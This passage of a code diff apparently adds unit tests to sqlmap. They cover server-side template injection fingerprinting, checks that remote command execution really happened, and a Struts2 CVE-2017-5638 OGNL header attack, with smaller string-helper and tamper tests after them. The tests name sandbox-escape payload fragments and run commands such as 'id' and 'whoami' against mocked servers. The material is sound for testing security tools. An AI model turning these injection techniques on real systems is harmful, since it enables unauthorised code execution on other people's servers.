engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "{{" in value and "unknown" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNotNone(page) + + def test_no_error_on_normal_response(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNone(page) + + def test_ssti_static_engine_error_is_not_confirmation(self): + # a static template-parser error (present for every value, no arithmetic/boolean evaluation + # proof) must NOT confirm SSTI - only reflect the payload and always leak an engine name + def mock(place, parameter, value): + return "debug: jinja2.exceptions.TemplateSyntaxError (cached). you sent: " + value + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNone(engine) # no evaluation proof -> not a confirmed SSTI + + def test_backend_from_error(self): + page = "jinja2.exceptions.UndefinedError: 'foo' is undefined" + backend = ssti._backendFromError(page) + self.assertIsNotNone(backend) + + +class TestDistinguishingProbes(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_no_distinguishing_probe(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + self.assertFalse(engine.distinguishingProbe, + "Jinja2 uses trueRendered/falseRendered for disambiguation, not a separate probe") + + def test_no_distinguishing_without_probe(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Pug/Jade"][0] + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + def test_comment_probe_reflection_rejected(self): + """Comment-style probe reflected verbatim must not pass.""" + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + + def mock(place, parameter, value): + if "<#--" in value: + return "Hello <#-- freemarker -->" # raw reflection + return "Hello " + value + + ssti._send = mock + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_boolean(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "True" in value: + return "Hello True" + elif "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNotNone(template) + + def test_no_boolean_when_true_false_same(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "same response" + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + def test_plain_reflection_rejected(self): + """Raw payload reflection must not pass boolean detection.""" + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value # reflects payload verbatim + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + def test_true_marker_in_baseline_rejected(self): + """When the true marker ('True') is already present in the untouched baseline it is page + furniture, not our evaluated output, so its appearance cannot confirm a boolean oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2, trueRendered='True' + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "flag=True ok" + if "{{ False }}" in value: + return "flag=True no" # diverges, but 'True' still shown + return "flag=True baseline" # 'True' already in the baseline + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + + def test_error_pages_are_not_a_boolean_oracle(self): + """Two syntactically invalid true/false payloads that merely trip DIFFERENT engine error + messages diverge, but an error page is not a rendered boolean -> no oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "jinja2.exceptions.UndefinedError: x" + if "{{ False }}" in value: + return "TemplateSyntaxError: y" + return "baseline" + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_fingerprinted_with_arith_and_boolean(self): + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" # Jinja2-style boolean rendering + if "False" in value: + return "Hello False" + if "unknown|filter" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + self.assertIn("Jinja2", engine.name) + self.assertTrue(evidence.get("arithmetic")) + self.assertTrue(evidence.get("boolean")) + + +class TestCrossEngineDisambiguation(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_preferred_over_twig_via_boolean_rendering(self): + """Jinja2 and Twig share {{ }} but differ in boolean rendering. + Jinja2 renders True as 'True', Twig renders true as '1'. + Our detection uses trueRendered for intrinsic discrimination.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # Twig-style boolean rendering (true -> 1, false -> empty) + if "{{ true }}" in value: + return "Hello 1" + if "{{ false }}" in value: + return "Hello " + if "{{ True }}" in value: + return "Hello 1" # Jinja2 True payload would not match this + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Twig should win because its boolean payloads match the mock + self.assertIn("Twig", engine.name) + + +class TestBooleanUniqueness(unittest.TestCase): + def test_jinja2_boolean_unique_among_curlies(self): + jinja2 = ssti._ENGINE_TABLE[0] + self.assertTrue(ssti._booleanUniquelyIdentifies(jinja2)) + + def test_freemarker_boolean_unique_with_computer_format(self): + freemarker = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + # FreeMarker uses ${true?c} (computer-format), distinct from SpringEL's ${true} and + # Mako's ${True}, so its boolean rendering now uniquely identifies it within the ${ } family + self.assertTrue(ssti._booleanUniquelyIdentifies(freemarker)) + spring = [e for e in ssti._ENGINE_TABLE if "Spring" in e.name][0] + self.assertTrue(ssti._booleanUniquelyIdentifies(spring)) + + def test_jinja2_with_arithmetic_and_boolean_is_exact(self): + """Arithmetic + boolean (unique) should produce exact engine name, + not a family/probable guess.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" + if "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Boolean is unique -> should NOT be marked "(probable" + self.assertNotIn("(probable", engine.name) + self.assertIn("Jinja2", engine.name) + + +class TestTakeoverGate(unittest.TestCase): + def test_can_takeover_exact_engine_with_proof(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + evidence = {"arithmetic": True, "boolean": True} + self.assertTrue(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_probable_engine(self): + engine = ssti._ENGINE_TABLE[0]._replace(name="Jinja2/Twig/Handlebars-like (probable Jinja2)") + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_proof(self): + engine = ssti._ENGINE_TABLE[0] + evidence = {} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_payloads(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + +class TestRequestMutation(unittest.TestCase): + """Verify _replaceSegment() correctly mutates parameter strings.""" + + def setUp(self): + self.original_send = ssti._send + self._orig_params = dict(ssti.conf.parameters) if hasattr(ssti.conf, 'parameters') else {} + self._orig_paramDict = dict(ssti.conf.paramDict) if hasattr(ssti.conf, 'paramDict') else {} + self._orig_cookieDel = getattr(ssti.conf, 'cookieDel', None) + + def tearDown(self): + ssti._send = self.original_send + if hasattr(ssti.conf, 'parameters'): + ssti.conf.parameters.clear() + ssti.conf.parameters.update(self._orig_params) + if hasattr(ssti.conf, 'paramDict'): + ssti.conf.paramDict.clear() + ssti.conf.paramDict.update(self._orig_paramDict) + if self._orig_cookieDel is not None: + ssti.conf.cookieDel = self._orig_cookieDel + + def test_replace_segment_single_param(self): + ssti.conf.parameters = {"GET": "q=x"} + result = ssti._replaceSegment("GET", "q", "test") + self.assertEqual(result, "q=test") + + def test_replace_segment_multi_param(self): + ssti.conf.parameters = {"GET": "q=x&a=1&b=2"} + result = ssti._replaceSegment("GET", "a", "99") + self.assertEqual(result, "q=x&a=99&b=2") + + def test_replace_segment_post(self): + ssti.conf.parameters = {"POST": "user=admin&pass=secret"} + result = ssti._replaceSegment("POST", "pass", "newpass") + self.assertEqual(result, "user=admin&pass=newpass") + + def test_replace_segment_cookie_delim(self): + from lib.core.enums import PLACE + ssti.conf.parameters = {PLACE.COOKIE: "a=1;b=2"} + ssti.conf.cookieDel = ";" + result = ssti._replaceSegment(PLACE.COOKIE, "b", "xx") + self.assertEqual(result, "a=1;b=xx") + + def test_replace_segment_missing_param(self): + ssti.conf.parameters = {"GET": "a=1"} + ssti.conf.paramDict = {"GET": {"a": "1", "b": "2"}} + result = ssti._replaceSegment("GET", "b", "xx") + self.assertEqual(result, "a=1&b=xx") + + +class TestRceProof(unittest.TestCase): + """Proof-of-execution via a DERIVED challenge: reflection (raw OR transformed) must NOT be accepted.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_derived_executed_needs_product_absent_from_request(self): + # the product proves execution: present in the page, absent from baseline + self.assertTrue(ssti._derivedExecuted("page 6772561 footer", "baseline", "6772561")) + self.assertIsNone(ssti._derivedExecuted("page without it", "baseline", "6772561")) + # product already in baseline -> not attributable + self.assertIsNone(ssti._derivedExecuted("x 6772561 x", "seen 6772561 here", "6772561")) + + def test_probe_rce_rejects_raw_reflection(self): + # an app that echoes the whole request body verbatim: the product ($((A*B)) result) is NEVER in + # the request, so it cannot appear in a reflected response -> not RCE-capable + engine = ssti._ENGINE_TABLE[0] # Jinja2 (no _FILE_RCE spec -> file path is a no-op) + ssti._send = lambda place, parameter, value: "Hello, %s!" % value # pure reflection + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_rejects_url_encoded_reflection(self): + # KEY P0-4 case: the app reflects the URL-ENCODED payload. A marker-in-payload check would pass; + # the derived product is still absent from any reflected form -> correctly NOT RCE-capable + from thirdparty.six.moves.urllib.parse import quote + engine = ssti._ENGINE_TABLE[0] + ssti._send = lambda place, parameter, value: "reflected: %s" % quote(value, safe="") + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_all_collisions_do_not_confirm(self): + # every generated product collides with the baseline -> every challenge is skipped; the loop + # must NOT fall through to success with zero executed payloads (counts confirmations, not iters) + engine = ssti._ENGINE_TABLE[0] + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._send = lambda place, parameter, value: "result is 4 everywhere" # baseline contains "4" + self.assertFalse(ssti._probeRce("GET", "q", engine)) + finally: + _m.randomInt = orig + + def test_probe_rce_confirms_real_execution(self): + # a backend that actually evaluates `echo $((A*B))` returns the PRODUCT as command output + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"echo \$\(\((\d+)\*(\d+)\)\)", value) + if m: + return "%d" % (int(m.group(1)) * int(m.group(2))) # shell-evaluated product + return "baseline" + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_framed_output_markers_are_reflection_proof(self): + # markers are shell-concatenated fragments: the completed 'startABstartCD' never appears in the + # request, so only genuine execution places them in the page + start, end = "aaaaaabbbbbb", "ccccccdddddd" + executed = "junk %suid=0(root) gid=0(root)%s junk" % (start, end) + self.assertEqual(ssti._framedOutput(executed, start, end), "uid=0(root) gid=0(root)") + # a response that lacks the concatenated markers (e.g. reflected 'aaaaaa bbbbbb' separated) -> None + self.assertIsNone(ssti._framedOutput("printf %s%s aaaaaa bbbbbb ...", start, end)) + + def test_probe_rce_confirms_on_windows_backend(self): + # a Windows-hosted engine evaluates `cmd /c set /a A*B` (Unix `$((...))` does nothing) - the + # derived product still proves execution, so capability detection works on Windows too + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"set /a (\d+)\*(\d+)", value) # cmd.exe set /a arithmetic + if m and "$((" not in value: + return "%d" % (int(m.group(1)) * int(m.group(2))) + return "baseline" # the Unix $(( )) family produces nothing here + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_windows_framed_builder_shape(self): + # the Windows framed command concatenates the marker fragments at runtime via `echo|set /p=` + cmd = ssti._winFramed("whoami", "SA", "SB", "EA", "EB") + self.assertIn("cmd /c", cmd) + self.assertIn("set /p=SA", cmd) + self.assertIn("set /p=SB", cmd) + self.assertIn("whoami", cmd) + # the concatenated markers 'SASB'/'EAEB' are NOT present literally (only the separate fragments) + self.assertNotIn("SASB", cmd) + self.assertNotIn("EAEB", cmd) + + +class TestExecuteCommand(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + self.original_dumper = getattr(ssti.conf, 'dumper', None) + # Provide a mock dumper so _executeCommand doesn't crash on conf.dumper + from lib.core.datatype import AttribDict + ssti.conf.dumper = AttribDict() + ssti.conf.dumper.singleString = lambda msg: None + + def tearDown(self): + ssti._send = self.original_send + ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper) + + def test_error_page_skipped(self): + """RCE payload that triggers a template error is skipped; next payload tried.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + calls = [] + + def mock(place, parameter, value): + calls.append(value) + if "cycler" in value: + return "jinja2.exceptions.UndefinedError: 'cycler' is undefined" + if "config" in value: + return "Hello output-from-config" + return "Hello " + value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # Should skip cycler (error) and use config (valid output) + self.assertTrue(any("config" in c for c in calls), + "Should have tried the second payload after error skip") + + def test_all_error_pages_produce_warning(self): + """When all RCE payloads produce template errors, no success is reported. _executeCommand sends + a baseline, then TWO passes over the payloads: a reflection-proof boundary-marker capture pass + a framed pass PER OS family (unix + windows), and an unframed baseline-diff fallback pass (the + file-based pass sends nothing without a _FILE_RCE spec, as for Jinja2).""" + engine = ssti._ENGINE_TABLE[0] + self.assertNotIn(engine.name, ssti._FILE_RCE) # guard the arithmetic below + calls = [] + + def mock(place, parameter, value): + calls.append(value) + return "jinja2.exceptions.TemplateSyntaxError: unexpected token" + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # 1 baseline + (families framed + 1 unframed) passes, each over N payloads + passes = len(ssti._SHELL_FAMILIES) + 1 + self.assertEqual(len(calls), 1 + passes * len(engine.rcePayloads), + "Should have tried the framed pass per OS family then the unframed pass before giving up") + + +class TestCommandEscaping(unittest.TestCase): + def test_escape_single_quoted(self): + self.assertEqual(ssti._escapeSingleQuoted("hello"), "hello") + self.assertEqual(ssti._escapeSingleQuoted("it's"), "it\\'s") + self.assertEqual(ssti._escapeSingleQuoted("a\\b"), "a\\\\b") + + +class TestEngineMatrix(unittest.TestCase): + """For EVERY engine in the table, stand up a faithful mock server running that + engine and assert _fingerprint() identifies it. This proves each engine's full + detection path (arithmetic/boolean/error/distinguishing) actually works end to + end - not just Jinja2 - and guards against regressions like the ERB '%>' format + bug where a delimiter containing '%' silently disabled arithmetic detection.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + # Digit-free, boolean-word-free sample errors that match each engine's errorRegex. + # (digit/boolean-free so a sibling engine's boolean probe falling through to the error + # branch on this server is still correctly rejected.) + _ERRORS = { + "Jinja2": "jinja2.exceptions.TemplateSyntaxError: unexpected end of template", + "Mako": "mako.exceptions.SyntaxException: unclosed control structure", + "Twig": "Twig_Error_Syntax: unexpected token in template", + "Freemarker": "freemarker.core.ParseException: encountered unexpected directive", + "Velocity": "org.apache.velocity.runtime.parser.ParseErrorException: encountered eof", + "Spring EL / Thymeleaf": "org.springframework.expression.spel.SpelParseException: bad node", + "ERB": "(erb): syntax error, unexpected end-of-input", + "Pug/Jade": "pug: unexpected token in template", + "Handlebars": "Handlebars: Parse error on line one", + } + + # Real divide-by-zero error text per language family (captured from live Mako/ERB/Jinja2 + # backends), so the S2 family probe can be exercised. JS yields Infinity (no error). + _DIVZERO = { + "python": "ZeroDivisionError: division by zero", + "ruby": "ZeroDivisionError: divided by 0", + "php": "DivisionByZeroError: Division by zero", + "java": "java.lang.ArithmeticException: / by zero", + "nodejs": "Hello Infinity", + } + + @staticmethod + def _make_server(engine, errors): + import re + op = re.escape(engine.delimiter) + cl = re.escape(engine.delimiterClose) + arithRe = re.compile(op + r"\s*(\d+)\s*\*\s*(\d+)\s*" + cl) if engine.arithmeticFmt else None + divZero = TestEngineMatrix._DIVZERO + err = errors.get(engine.name) + + def server(place, parameter, value): + # 1) engine-specific distinguishing probe + if engine.distinguishingProbe and engine.distinguishingProbe in value: + if engine.distinguishingResult: + return "Hello " + engine.distinguishingResult + return "Hello" # comment-style probe -> stays at baseline + # 2) this engine's own boolean rendering + if engine.booleanTrue and engine.booleanTrue in value: + return "Hello " + engine.trueRendered + if engine.booleanFalse and engine.booleanFalse in value: + return "Hello " + engine.falseRendered + # 3) divide-by-zero -> language-family-specific error (S2), for engines that evaluate it + if arithRe is not None and (engine.delimiter + "1/0" + engine.delimiterClose) in value: + return divZero.get(engine.family, "Hello") + # 4) arithmetic, but ONLY for engines that actually evaluate it + if arithRe is not None: + m = arithRe.search(value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # 5) malformed fragment in this engine's delimiter -> engine-specific error + if err and any(p in value for p in engine.errorProbes): + return err + # 6) anything else (incl. other engines' payloads) renders inertly + return "Hello" + + return server + + def test_every_engine_is_fingerprinted(self): + for engine in ssti._ENGINE_TABLE: + ssti._send = self._make_server(engine, self._ERRORS) + result, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(result, "engine '%s' was not detected at all" % engine.name) + self.assertIn(engine.name, result.name, + "server running '%s' was identified as '%s'" % (engine.name, result.name)) + + def test_family_probe_confirms_language(self): + # S2: the divide-by-zero probe must confirm the backend family for every + # expression-evaluating, non-JS engine (Python/Ruby/PHP/Java). + for engine in ssti._ENGINE_TABLE: + if not (engine.arithmeticFmt and engine.delimiterClose): + continue + if engine.family not in ("python", "ruby", "php", "java"): + continue + ssti._send = self._make_server(engine, self._ERRORS) + _result, evidence = ssti._fingerprint("GET", "q") + self.assertTrue(evidence.get("family"), + "family probe should confirm '%s' on a %s backend" % (engine.name, engine.family)) + + def test_filter_evasion_rce_fallbacks_present(self): + # S3: each engine must retain its filter-evasion / sandbox-escape RCE fallbacks. + def rce(name): + return " ".join(p for p, _d in next(e for e in ssti._ENGINE_TABLE if e.name == name).rcePayloads) + jinja = rce("Jinja2") + self.assertIn("attr(", jinja) # dot/underscore-free attr() chain + self.assertIn("\\x5f", jinja) # hex-escaped dunders + twig = rce("Twig") + self.assertIn("sort('system')", twig) + self.assertIn("map('system')", twig) + spring = rce("Spring EL / Thymeleaf") + self.assertIn("readLine", spring) # output-capturing SpEL + self.assertIn("@java.lang.Runtime@getRuntime", spring) # OGNL fallback + + def test_family_probe_does_not_crossmatch(self): + # Python 'division by zero' must NOT satisfy the (case-sensitive) PHP signature, so a + # Jinja2/Python server never lets Twig/PHP claim a family match. + jinja = next(e for e in ssti._ENGINE_TABLE if e.name == "Jinja2") + ssti._send = self._make_server(jinja, self._ERRORS) + cache = {} + twig = next(e for e in ssti._ENGINE_TABLE if e.name == "Twig") + self.assertEqual(ssti._probeFamily("GET", "q", jinja, cache), "python") + self.assertNotEqual(ssti._probeFamily("GET", "q", twig, cache), twig.family) + + def test_erb_arithmetic_works_after_format_fix(self): + # Direct regression guard for the '<%= %d*%d %>' / '<%= %s %>' format bug. + erb = next(e for e in ssti._ENGINE_TABLE if e.name == "ERB") + ssti._send = self._make_server(erb, self._ERRORS) + self.assertTrue(ssti._probeArithmetic("GET", "q", erb), + "ERB arithmetic proof must succeed once %-format no longer crashes on '%>'") + result, evidence = ssti._fingerprint("GET", "q") + self.assertEqual(result.name, "ERB") + self.assertTrue(evidence.get("arithmetic")) + + def test_mako_distinguished_from_freemarker_spring(self): + # Mako shares '${ }' with Freemarker/Spring but renders capital True/False; + # it must be named exactly (via unique boolean rendering), not "probable". + mako = next(e for e in ssti._ENGINE_TABLE if e.name == "Mako") + ssti._send = self._make_server(mako, self._ERRORS) + result, evidence = ssti._fingerprint("GET", "q") + self.assertEqual(result.name, "Mako") + self.assertTrue(evidence.get("boolean")) + + +class TestFileBasedRce(unittest.TestCase): + """Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs + reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile + then read-file must still recover the command output.""" + + def setUp(self): + from lib.core.data import conf + self._send = ssti._send + self._dumper = conf.dumper + captured = self.captured = [] + + class _Dumper(object): + def singleString(self, text, **kwargs): + captured.append(text) + + conf.dumper = _Dumper() + + def tearDown(self): + from lib.core.data import conf + ssti._send = self._send + conf.dumper = self._dumper + + def test_spel_output_via_file_when_inband_blocked(self): + engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf") + self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback + + def mock(place, parameter, value): + if "ProcessBuilder" in value: # exec step: launches (render error, ignored) + return "org.springframework.expression.spel.SpelEvaluationException: EL1001E" + if "readAllBytes" in value: # read step: the temp file's content + return "Hello uid=0(root) gid=0(root)" + if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK + return "org.springframework.expression.spel.SpelEvaluationException: EL1029E" + return "Hello " # baseline / original value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "id") + self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), + msg="two-step file-based RCE did not surface command output: %r" % self.captured) + + +class TestStruts2Header(unittest.TestCase): + """CVE-2017-5638 (S2-045): OGNL via the Content-Type header. The vector is not reflected, so + detection prints a marker to the response and RCE brackets stdout with markers to slice it out.""" + + def setUp(self): + self._s2045Send = ssti._s2045Send + + def tearDown(self): + ssti._s2045Send = self._s2045Send + + def test_struts2_wired_for_file_rce(self): + self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired + + def test_s2045_detection_derived_product(self): + import re + # a vulnerable Struts2 EVALUATES the OGNL arithmetic and writes the PRODUCT (absent from the header) + def mock(url, action): + m = re.search(r"#w\.print\((\d+)\*(\d+)\)", action) + return " %d " % (int(m.group(1)) * int(m.group(2))) if m else "" + ssti._s2045Send = mock + self.assertTrue(ssti._probeStruts2Header("http://target")) + + def test_s2045_detection_rejects_reflected_header(self): + # KEY P0-6 case: the server REFLECTS the Content-Type header verbatim. The literal operands are + # echoed but never their product, so no reflection can satisfy the derived challenge -> not vuln + ssti._s2045Send = lambda url, action: "You sent Content-Type: %s" % action + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_not_vulnerable(self): + ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_all_collisions_do_not_confirm(self): + # every product collides with the baseline -> no challenge is ever evaluated -> not confirmed + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._s2045Send = lambda url, action: "page containing 4" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + finally: + _m.randomInt = orig + + def test_s2045_command_output_sliced_from_derived_markers(self): + import re + # the shell CONCATENATES the marker fragments (printf %s%s A B -> AB); the concatenation never + # appears in the header, so it can only come from execution + def mock(url, action): + m = re.search(r"printf %s%s (\w+) (\w+); .* 2>&1; printf %s%s (\w+) (\w+)", action) + if not m: + return "" + start, end = m.group(1) + m.group(2), m.group(3) + m.group(4) + return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) + ssti._s2045Send = mock + self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)") + + def test_s2045_command_rejects_reflected_header(self): + # raw header reflection: the fragments appear separated ('printf %s%s A B'), never concatenated, + # so no start/end marker is found -> no fabricated 'output' + ssti._s2045Send = lambda url, action: "reflected: %s" % action + self.assertIsNone(ssti._executeStruts2Header("http://target", "id")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_strings.py b/tests/test_strings.py new file mode 100644 index 00000000000..e3683ea0163 --- /dev/null +++ b/tests/test_strings.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +String / path / escape helpers. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (normalizePath, posixToNtSlashes, ntToPosixSlashes, + isHexEncodedString, decodeStringEscape, encodeStringEscape, + listToStrValue, filterControlChars, safeVariableNaming, + unsafeVariableNaming, longestCommonPrefix, decodeIntToUnicode) + +RND = random.Random(7) + + +class TestPaths(unittest.TestCase): + def test_normalizePath(self): + self.assertEqual(normalizePath("a//b/c"), "a/b/c") + + def test_slashes(self): + self.assertEqual(posixToNtSlashes("/a/b"), "\\a\\b") + self.assertEqual(ntToPosixSlashes("a\\b"), "a/b") + + def test_slash_roundtrip(self): + for _ in range(500): + s = "/".join(["seg%d" % RND.randint(0, 9) for _ in range(RND.randint(2, 6))]) + nt = posixToNtSlashes(s) + # non-identity anchor: the NT form must actually differ (no '/', has '\') - + # otherwise a no-op pair would pass this round-trip + self.assertNotIn("/", nt, msg="posixToNtSlashes left a '/': %r" % nt) + self.assertIn("\\", nt) + self.assertEqual(ntToPosixSlashes(nt), s) + + +class TestHexDetection(unittest.TestCase): + CASES = [("0x4142", True), ("4142", True), ("zz", False), ("0xZZ", False), ("", False)] + + def test_isHexEncodedString(self): + for v, exp in self.CASES: + self.assertEqual(bool(isHexEncodedString(v)), exp, msg="isHexEncodedString(%r)" % v) + + +class TestStringEscape(unittest.TestCase): + def test_known(self): + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + + def test_roundtrip_property(self): + ctrl = "\t\n\r\\abc 123" + for _ in range(2000): + s = "".join(RND.choice(ctrl) for _ in range(RND.randint(0, 20))) + self.assertEqual(decodeStringEscape(encodeStringEscape(s)), s) + + +class TestVariableNaming(unittest.TestCase): + def test_transform_is_not_identity(self): + # safeVariableNaming hex-encodes non-identifier-safe names behind an EVAL_ prefix; + # pin the exact form so the round-trip below can't be satisfied by no-op functions + self.assertEqual(safeVariableNaming("a.b"), "EVAL_612e62") # 612e62 == hex("a.b") + self.assertNotEqual(safeVariableNaming("weird name"), "weird name") + + def test_roundtrip(self): + for ident in ["a.b", "schema.table", "x", "weird name", "a-b.c"]: + encoded = safeVariableNaming(ident) + if any(c not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" for c in ident): + self.assertNotEqual(encoded, ident, msg="unsafe ident %r was not transformed" % ident) + self.assertEqual(unsafeVariableNaming(encoded), ident) + + +class TestMiscStrings(unittest.TestCase): + def test_listToStrValue(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_filterControlChars(self): + self.assertEqual(filterControlChars("a\x07b"), "a b") + + def test_longestCommonPrefix(self): + self.assertEqual(longestCommonPrefix("abcx", "abcy"), "abc") + self.assertEqual(longestCommonPrefix("abc", "xyz"), "") + + def test_decodeIntToUnicode(self): + from lib.core.common import Backend + from lib.core.data import kb + + # decodeIntToUnicode() is back-end DBMS dependent (e.g. PostgreSQL/Oracle/SQLite + # treat >255 values as Unicode code points). Pin a clean, no-forced-DBMS state so + # the result is deterministic regardless of test execution order (a prior dialect + # test may otherwise leave a forced DBMS set); restore it afterwards. + _saved = (kb.get("forcedDbms"), kb.get("stickyDBMS")) + Backend.flushForcedDbms(force=True) + try: + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: with no identified DBMS, >255 ints are interpreted as a multi-byte + # sequence (not a Unicode code point), e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + finally: + kb.forcedDbms, kb.stickyDBMS = _saved + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 00000000000..99bc8df24d3 --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tamper scripts (all ~70): contract, robustness on a payload battery, known +transforms, and documented fragile cases. + +NOTE (flagged for author - real minor bugs surfaced by this suite): + * tamper/percentage.py raises UnboundLocalError on empty/None payload + (retVal is only assigned inside `if payload:`; missing `retVal = payload` init). + * tamper/escapequotes.py raises AttributeError on None payload (no guard). + 68/70 tampers handle ""/None gracefully; these two are inconsistent. Pinned below + as KNOWN_FRAGILE so the suite stays green and a fix is a conscious change. +""" + +import os +import glob +import importlib +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + +from thirdparty import six + +TAMPERS = 